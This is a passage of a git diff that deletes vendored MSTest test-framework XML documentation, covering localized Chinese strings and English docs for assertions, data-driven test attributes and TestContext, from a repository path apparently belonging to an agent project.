查閱與「字串 '{0}' 與模式 '{1}' 相符。{2}。」類似的當地語系化字串。 - - - - - 查閱與「未指定 DataRowAttribute。至少一個 DataRowAttribute 必須配合 DataTestMethodAttribute 使用。」類似的當地語系化字串。 - - - - - 查閱與「未擲回任何例外狀況。預期為 {1} 例外狀況。{0}」類似的當地語系化字串。 - - - - - 查閱與「參數 '{0}' 無效。值不能為 null。{1}。」類似的當地語系化字串。 - - - - - 查閱與「元素數目不同。」類似的當地語系化字串。 - - - - - 查閱與「找不到具有所指定簽章的建構函式。 - 您可能必須重新產生私用存取子,或者該成員可能為私用, - 並且定義在基底類別上。如果是後者,您必須將定義 - 該成員的類型傳送至 PrivateObject 的建構函式。」 - 類似的當地語系化字串。 - - - - - 查閱與「找不到所指定的成員 ({0})。 - 您可能必須重新產生私用存取子, - 或者該成員可能為私用,並且定義在基底類別上。如果是後者,您必須將定義該成員的類型 - 傳送至 PrivateObject 的建構函式。」 - 類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 不是以字串 '{1}' 開頭。{2}。」類似的當地語系化字串。 - - - - - 查閱與「預期的例外狀況類型必須是 System.Exception 或衍生自 System.Exception 的類型。」類似的當地語系化字串。 - - - - - 查閱與「(由於發生例外狀況,所以無法取得 {0} 類型之例外狀況的訊息。)」類似的當地語系化字串。 - - - - - 查閱與「測試方法未擲回預期的例外狀況 {0}。{1}」類似的當地語系化字串。 - - - - - 查閱與「測試方法未擲回例外狀況。測試方法上定義的屬性 {0} 需要例外狀況。」類似的當地語系化字串。 - - - - - 查閱與「測試方法擲回例外狀況 {0},但是需要的是例外狀況 {1}。例外狀況訊息: {2}」類似的當地語系化字串。 - - - - - 查閱與「測試方法擲回例外狀況 {0},但是需要的是例外狀況 {1} 或由它衍生的類型。例外狀況訊息: {2}」類似的當地語系化字串。 - - - - - 查閱與「擲回例外狀況 {2},但需要的是例外狀況 {1}。{0} - 例外狀況訊息: {3} - 堆疊追蹤: {4}」類似的當地語系化字串。 - - - - - 單元測試結果 - - - - - 已執行測試,但發生問題。 - 問題可能包含例外狀況或失敗的判斷提示。 - - - - - 測試已完成,但是無法指出成功還是失敗。 - 可能用於已中止測試。 - - - - - 已執行測試且沒有任何問題。 - - - - - 目前正在執行測試。 - - - - - 嘗試執行測試時發生系統錯誤。 - - - - - 測試逾時。 - - - - - 使用者已中止測試。 - - - - - 測試處於未知狀態 - - - - - 提供單元測試架構的協助程式功能 - - - - - 遞迴地取得例外狀況訊息 (包含所有內部例外狀況 - 的訊息) - - 要為其取得訊息的例外狀況 - 含有錯誤訊息資訊的字串 - - - - 逾時的列舉,可以與 類別搭配使用。 - 列舉的類型必須相符 - - - - - 無限。 - - - - - 測試類別屬性。 - - - - - 取得可讓您執行此測試的測試方法屬性。 - - 此方法上所定義的測試方法屬性執行個體。 - 要用來執行此測試。 - Extensions can override this method to customize how all methods in a class are run. - - - - 測試方法屬性。 - - - - - 執行測試方法。 - - 要執行的測試方法。 - 代表測試結果的 TestResult 物件陣列。 - Extensions can override this method to customize running a TestMethod. - - - - 測試初始化屬性。 - - - - - 測試清除屬性。 - - - - - Ignore 屬性。 - - - - - 測試屬性 (property) 屬性 (attribute)。 - - - - - 初始化 類別的新執行個體。 - - - 名稱。 - - - 值。 - - - - - 取得名稱。 - - - - - 取得值。 - - - - - 類別會將屬性初始化。 - - - - - 類別清除屬性。 - - - - - 組件會將屬性初始化。 - - - - - 組件清除屬性。 - - - - - 測試擁有者 - - - - - 初始化 類別的新執行個體。 - - - 擁有者。 - - - - - 取得擁有者。 - - - - - Priority 屬性; 用來指定單元測試的優先順序。 - - - - - 初始化 類別的新執行個體。 - - - 優先順序。 - - - - - 取得優先順序。 - - - - - 測試描述 - - - - - 初始化 類別的新執行個體來描述測試。 - - 描述。 - - - - 取得測試的描述。 - - - - - CSS 專案結構 URI - - - - - 初始化用於 CSS 專案結構 URI 之 類別的新執行個體。 - - CSS 專案結構 URI。 - - - - 取得 CSS 專案結構 URI。 - - - - - CSS 反覆項目 URI - - - - - 初始化用於 CSS 反覆項目 URI 之 類別的新執行個體。 - - CSS 反覆項目 URI。 - - - - 取得 CSS 反覆項目 URI。 - - - - - 工作項目屬性; 用來指定與這個測試相關聯的工作項目。 - - - - - 初始化用於工作項目屬性之 類別的新執行個體。 - - 工作項目的識別碼。 - - - - 取得建立關聯之工作項目的識別碼。 - - - - - Timeout 屬性; 用來指定單元測試的逾時。 - - - - - 初始化 類別的新執行個體。 - - - 逾時。 - - - - - 初始化具有預設逾時之 類別的新執行個體 - - - 逾時 - - - - - 取得逾時。 - - - - - 要傳回給配接器的 TestResult 物件。 - - - - - 初始化 類別的新執行個體。 - - - - - 取得或設定結果的顯示名稱。適用於傳回多個結果時。 - 如果為 null,則使用「方法名稱」當成 DisplayName。 - - - - - 取得或設定測試執行的結果。 - - - - - 取得或設定測試失敗時所擲回的例外狀況。 - - - - - 取得或設定測試程式碼所記錄之訊息的輸出。 - - - - - 取得或設定測試程式碼所記錄之訊息的輸出。 - - - - - 透過測試程式碼取得或設定偵錯追蹤。 - - - - - Gets or sets the debug traces by test code. - - - - - 取得或設定測試執行的持續時間。 - - - - - 取得或設定資料來源中的資料列索引。僅針對個別執行資料驅動測試之資料列 - 的結果所設定。 - - - - - 取得或設定測試方法的傳回值 (目前一律為 null)。 - - - - - 取得或設定測試所附加的結果檔案。 - - - - - 指定連接字串、表格名稱和資料列存取方法來進行資料驅動測試。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - 資料來源的預設提供者名稱。 - - - - - 預設資料存取方法。 - - - - - 初始化 類別的新執行個體。將使用資料提供者、連接字串、運算列表和資料存取方法將這個執行個體初始化,以存取資料來源。 - - 非變異資料提供者名稱 (例如 System.Data.SqlClient) - - 資料提供者特定連接字串。 - 警告: 連接字串可能會包含敏感性資料 (例如,密碼)。 - 連接字串是以純文字形式儲存在原始程式碼中和編譯的組件中。 - 限制對原始程式碼和組件的存取,以保護這項機密資訊。 - - 運算列表的名稱。 - 指定資料的存取順序。 - - - - 初始化 類別的新執行個體。此執行個體將使用連接字串和表格名稱進行初始化。 - 指定連接字串和運算列表以存取 OLEDB 資料來源。 - - - 資料提供者特定連接字串。 - 警告: 連接字串可能會包含敏感性資料 (例如,密碼)。 - 連接字串是以純文字形式儲存在原始程式碼中和編譯的組件中。 - 限制對原始程式碼和組件的存取,以保護這項機密資訊。 - - 運算列表的名稱。 - - - - 初始化 類別的新執行個體。將使用與設定名稱相關聯的資料提供者和連接字串將這個執行個體初始化。 - - 在 app.config 檔案的 <microsoft.visualstudio.qualitytools> 區段中找到資料來源名稱。 - - - - 取得值,代表資料來源的資料提供者。 - - - 資料提供者名稱。如果未在物件初始化時指定資料提供者,將會傳回 System.Data.OleDb 的預設提供者。 - - - - - 取得值,代表資料來源的連接字串。 - - - - - 取得值,指出提供資料的表格名稱。 - - - - - 取得用來存取資料來源的方法。 - - - - 下列其中之一: 值。如果 未進行初始化,則這會傳回預設值 。 - - - - - 取得在 app.config 檔案 <microsoft.visualstudio.qualitytools> 區段中找到的資料來源名稱。 - - - - - 可在其中內嵌指定資料之資料驅動測試的屬性。 - - - - - 尋找所有資料列,並執行。 - - - 測試「方法」。 - - - 下列項目的陣列: 。 - - - - - 執行資料驅動測試方法。 - - 要執行的測試方法。 - 資料列。 - 執行結果。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML deleted file mode 100644 index 7da51105..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.XML +++ /dev/null @@ -1,152 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Used to specify deployment item (file or directory) for per-test deployment. - Can be specified on test class or test method. - Can have multiple instances of the attribute to specify more than one item. - The item path can be absolute or relative, if relative, it is relative to RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Initializes a new instance of the class. - - The file or directory to deploy. The path is relative to the build output directory. The item will be copied to the same directory as the deployed test assemblies. - - - - Initializes a new instance of the class - - The relative or absolute path to the file or directory to deploy. The path is relative to the build output directory. The item will be copied to the same directory as the deployed test assemblies. - The path of the directory to which the items are to be copied. It can be either absolute or relative to the deployment directory. All files and directories identified by will be copied to this directory. - - - - Gets the path of the source file or folder to be copied. - - - - - Gets the path of the directory to which the item is copied. - - - - - Used to store information that is provided to unit tests. - - - - - Gets test properties for a test. - - - - - Gets or sets the cancellation token source. This token source is canceled when test times out. Also when explicitly canceled the test will be aborted - - - - - Gets base directory for the test run, under which deployed files and result files are stored. - - - - - Gets directory for files deployed for the test run. Typically a subdirectory of . - - - - - Gets base directory for results from the test run. Typically a subdirectory of . - - - - - Gets directory for test run result files. Typically a subdirectory of . - - - - - Gets directory for test result files. - - - - - Gets base directory for the test run, under which deployed files and result files are stored. - Same as . Use that property instead. - - - - - Gets directory for files deployed for the test run. Typically a subdirectory of . - Same as . Use that property instead. - - - - - Gets directory for test run result files. Typically a subdirectory of . - Same as . Use that property for test run result files, or - for test-specific result files instead. - - - - - Gets the Fully-qualified name of the class containing the test method currently being executed - - - - - Gets the name of the test method currently being executed - - - - - Gets the current test outcome. - - - - - Adds a file name to the list in TestResult.ResultFileNames - - - The file Name. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/Microsoft.VisualStudio.TestPlatform.TestFramework.XML b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/Microsoft.VisualStudio.TestPlatform.TestFramework.XML deleted file mode 100644 index d0eb68e9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/Microsoft.VisualStudio.TestPlatform.TestFramework.XML +++ /dev/null @@ -1,4477 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Specification to disable parallelization. - - - - - Enum to specify whether the data is stored as property or in method. - - - - - Data is declared as property. - - - - - Data is declared in method. - - - - - Attribute to define dynamic data for a test method. - - - - - Initializes a new instance of the class. - - - The name of method or property having test data. - - - Specifies whether the data is stored as property or in method. - - - - - Initializes a new instance of the class when the test data is present in a class different - from test method's class. - - - The name of method or property having test data. - - - The declaring type of property or method having data. Useful in cases when declaring type is present in a class different from - test method's class. If null, declaring type defaults to test method's class type. - - - Specifies whether the data is stored as property or in method. - - - - - Gets or sets the name of method used to customize the display name in test results. - - - - - Gets or sets the declaring type used to customize the display name in test results. - - - - - - - - - - - Specification for parallelization level for a test run. - - - - - The default scope for the parallel run. Although method level gives maximum parallelization, the default is set to - class level to enable maximum number of customers to easily convert their tests to run in parallel. In most cases within - a class tests aren't thread safe. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the number of workers to be used for the parallel run. - - - - - Gets or sets the scope of the parallel run. - - - To enable all classes to run in parallel set this to . - To get the maximum parallelization level set this to . - - - - - Parallel execution mode. - - - - - Each thread of execution will be handed a TestClass worth of tests to execute. - Within the TestClass, the test methods will execute serially. - - - - - Each thread of execution will be handed TestMethods to execute. - - - - - Test data source for data driven tests. - - - - - Gets the test data from custom test data source. - - - The method info of test method. - - - Test data for calling test method. - - - - - Gets the display name corresponding to test data row for displaying in TestResults. - - - The method info of test method. - - - The test data which is passed to test method. - - - The . - - - - - TestMethod for execution. - - - - - Gets the name of test method. - - - - - Gets the name of test class. - - - - - Gets the return type of test method. - - - - - Gets the arguments with which test method is invoked. - - - - - Gets the parameters of test method. - - - - - Gets the methodInfo for test method. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invokes the test method. - - - Arguments to pass to test method. (E.g. For data driven) - - - Result of test method invocation. - - - This call handles asynchronous test methods as well. - - - - - Get all attributes of the test method. - - - Whether attribute defined in parent class is valid. - - - All attributes. - - - - - Get attribute of specific type. - - System.Attribute type. - - Whether attribute defined in parent class is valid. - - - The attributes of the specified type. - - - - - The helper. - - - - - The check parameter not null. - - - The parameter. - - - The parameter name. - - - The message. - - Throws argument null exception when parameter is null. - - - - The check parameter not null or empty. - - - The parameter. - - - The parameter name. - - - The message. - - Throws ArgumentException when parameter is null. - - - - Enumeration for how we access data rows in data driven testing. - - - - - Rows are returned in sequential order. - - - - - Rows are returned in random order. - - - - - Attribute to define in-line data for a test method. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - The data object. - - - - Initializes a new instance of the class which takes in an array of arguments. - - A data object. - More data. - - - - Gets data for calling test method. - - - - - Gets or sets display name in test results for customization. - - - - - - - - - - - The assert inconclusive exception. - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - Initializes a new instance of the class. - - - - - InternalTestFailureException class. Used to indicate internal failure for a test case - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initializes a new instance of the class. - - The exception message. - The exception. - - - - Initializes a new instance of the class. - - The exception message. - - - - Initializes a new instance of the class. - - - - - Attribute that specifies to expect an exception of the specified type - - - - - Initializes a new instance of the class with the expected type - - Type of the expected exception - - - - Initializes a new instance of the class with - the expected type and the message to include when no exception is thrown by the test. - - Type of the expected exception - - Message to include in the test result if the test fails due to not throwing an exception - - - - - Gets a value indicating the Type of the expected exception - - - - - Gets or sets a value indicating whether to allow types derived from the type of the expected exception to - qualify as expected - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Verifies that the type of the exception thrown by the unit test is expected - - The exception thrown by the unit test - - - - Base class for attributes that specify to expect an exception from a unit test - - - - - Initializes a new instance of the class with a default no-exception message - - - - - Initializes a new instance of the class with a no-exception message - - - Message to include in the test result if the test fails due to not throwing an - exception - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Gets the default no-exception message - - The ExpectedException attribute type name - The default no-exception message - - - - Determines whether the exception is expected. If the method returns, then it is - understood that the exception was expected. If the method throws an exception, then it - is understood that the exception was not expected, and the thrown exception's message - is included in the test result. The class can be used for - convenience. If is used and the assertion fails, - then the test outcome is set to Inconclusive. - - The exception thrown by the unit test - - - - Rethrow the exception if it is an AssertFailedException or an AssertInconclusiveException - - The exception to rethrow if it is an assertion exception - - - - This class is designed to help user doing unit testing for types which uses generic types. - GenericParameterHelper satisfies some common generic type constraints - such as: - 1. public default constructor - 2. implements common interface: IComparable, IEnumerable - - - - - Initializes a new instance of the class that - satisfies the 'newable' constraint in C# generics. - - - This constructor initializes the Data property to a random value. - - - - - Initializes a new instance of the class that - initializes the Data property to a user-supplied value. - - Any integer value - - - - Gets or sets the Data - - - - - Do the value comparison for two GenericParameterHelper object - - object to do comparison with - true if obj has the same value as 'this' GenericParameterHelper object. - false otherwise. - - - - Returns a hashcode for this object. - - The hash code. - - - - Compares the data of the two objects. - - The object to compare with. - - A signed number indicating the relative values of this instance and value. - - - Thrown when the object passed in is not an instance of . - - - - - Returns an IEnumerator object whose length is derived from - the Data property. - - The IEnumerator object - - - - Returns a GenericParameterHelper object that is equal to - the current object. - - The cloned object. - - - - Enables users to log/write traces from unit tests for diagnostics. - - - - - Handler for LogMessage. - - Message to log. - - - - Event to listen. Raised when unit test writer writes some message. - Mainly to consume by adapter. - - - - - API for test writer to call to Log messages. - - String format with placeholders. - Parameters for placeholders. - - - - TestCategory attribute; used to specify the category of a unit test. - - - - - Initializes a new instance of the class and applies the category to the test. - - - The test Category. - - - - - Gets the test categories that has been applied to the test. - - - - - Base class for the "Category" attribute - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initializes a new instance of the class. - Applies the category to the test. The strings returned by TestCategories - are used with the /category command to filter tests - - - - - Gets the test category that has been applied to the test. - - - - - AssertFailedException class. Used to indicate failure for a test case - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - Initializes a new instance of the class. - - - - - A collection of helper classes to test various conditions within - unit tests. If the condition being tested is not met, an exception - is thrown. - - - - - Gets the singleton instance of the Assert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - Thrown if is false. - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - The message to include in the exception when - is false. The message is shown in test results. - - - Thrown if is false. - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - The message to include in the exception when - is false. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is false. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - Thrown if is true. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - The message to include in the exception when - is true. The message is shown in test results. - - - Thrown if is true. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - The message to include in the exception when - is true. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is true. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - Thrown if is not null. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - The message to include in the exception when - is not null. The message is shown in test results. - - - Thrown if is not null. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - The message to include in the exception when - is not null. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - Thrown if is null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - The message to include in the exception when - is null. The message is shown in test results. - - - Thrown if is null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - The message to include in the exception when - is null. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is null. - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not the same as . The message is shown - in test results. - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not the same as . The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is the same as . The message is shown in - test results. - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is the same as . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - Thrown if is not equal to . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - Thrown if is equal to . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - Thrown if is equal to . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - Thrown if is not equal to - . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the 